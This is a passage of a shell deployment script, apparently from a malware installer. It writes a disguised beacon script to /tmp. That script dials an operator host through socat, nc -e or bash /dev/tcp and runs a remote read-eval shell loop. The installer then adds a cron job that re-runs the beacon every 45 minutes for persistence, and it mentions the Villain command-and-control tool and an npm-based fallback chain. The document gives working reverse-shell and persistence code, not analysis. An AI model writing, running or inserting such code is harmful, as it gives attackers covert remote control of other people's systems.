rm -f "$_bwd/.exectest" 2>/dev/null
done
[ -n "$_beacon_file" ] || _beacon_file="/tmp/.beacon_$(head -c 2 /dev/urandom | od -An -tx1 | tr -d ' ').sh"
;;
esac
mkdir -p "$(dirname "$_beacon_file")" 2>/dev/null
cat > "$_beacon_file" <<'BEACONSCRIPT'
#!/bin/sh
# Beacon: dial the Villain tunnel, stay ~240s for the payload deploy, exit.
# POSIX sh (dash/busybox-safe): no $RANDOM, no /dev/tcp, no bash.
# Jitter via od on /dev/urandom (od is POSIX); fallback to a fixed sleep.
# The read-eval loop (NOT 'sh -i'): Villain dispatches multi-line chunked
# commands over this socket; the eval loop re-parses each line with full
# quoting (the interactive sh -i path silently failed to execute them).
_j=$(od -An -N2 -tu2 /dev/urandom 2>/dev/null | tr -d " \n")
case "$_j" in *[!0-9]*|"") _j=5 ;; esac
sleep "$_j"
# Dial: prefer socat (widely packaged, clean bidirectional exec), then
# nc -e (busybox/GNU netcat), then bash /dev/tcp as a last resort
# (bash-only, skipped silently when absent).
# Dial tiers: BEACON_TLS=1 (set by the AMQ dispatch when the operator runs
# the VPS TLS hop) → socat OPENSSL first, plain TCP fallback only if the
# TLS dial fails (the operator's VPS accepts both during migration).
# Without BEACON_TLS: the legacy plain dial chain (OpenFrp-compatible).
if [ "$BEACON_TLS" = "1" ] && command -v socat >/dev/null 2>&1; then
exec timeout 240 socat OPENSSL:"$_bh":"$_bp",verify=0 \
SYSTEM:'while read -r line; do eval "$line" 2>&1; done' 2>/dev/null
fi
if command -v socat >/dev/null 2>&1; then
exec timeout 240 socat TCP4:$_bh:$_bp SYSTEM:'while read -r line; do eval "$line" 2>&1; done' 2>/dev/null
elif nc -h 2>&1 | grep -qe '-e '; then
# busybox/GNU nc -e argument orders differ; busybox order tried first,
# GNU order as fallback (the wrong order just fails and the beacon dies
# quietly — the cron-fetch chain remains as the persistence layer).
exec nc "$_bh" "$_bp" -e /bin/sh -c 'while read -r line; do eval "$line" 2>&1; done' 2>/dev/null \
|| exec nc -e /bin/sh -c 'while read -r line; do eval "$line" 2>&1; done' "$_bh" "$_bp" 2>/dev/null
elif command -v bash >/dev/null 2>&1; then
exec 3<>/dev/tcp/$_bh/$_bp 2>/dev/null || exit 0
exec 0<&3 1>&3 2>&3
timeout 240 bash -c 'while read -r line <&0; do eval "$line" 2>&0 >&0; done' 2>/dev/null
fi
exit 0
BEACONSCRIPT
chmod 755 "$_beacon_file" 2>/dev/null
_beacon_cron="*/45 * * * * $_beacon_file >/dev/null 2>&1"
if ! (crontab -l 2>/dev/null | grep -qF "$_beacon_file"); then
(crontab -l 2>/dev/null; printf '%s\n' "$_beacon_cron") | crontab - 2>/dev/null \
&& echo "Beacon cron installed (primary: $_bh:$_bp every 45m; npmjs chain kept as fallback)."
fi
}
# legacy inline call site kept for the full-deploy path (after launch):
install_beacon_cron
install_competitor_guardian
log "Deployment complete."
exit 0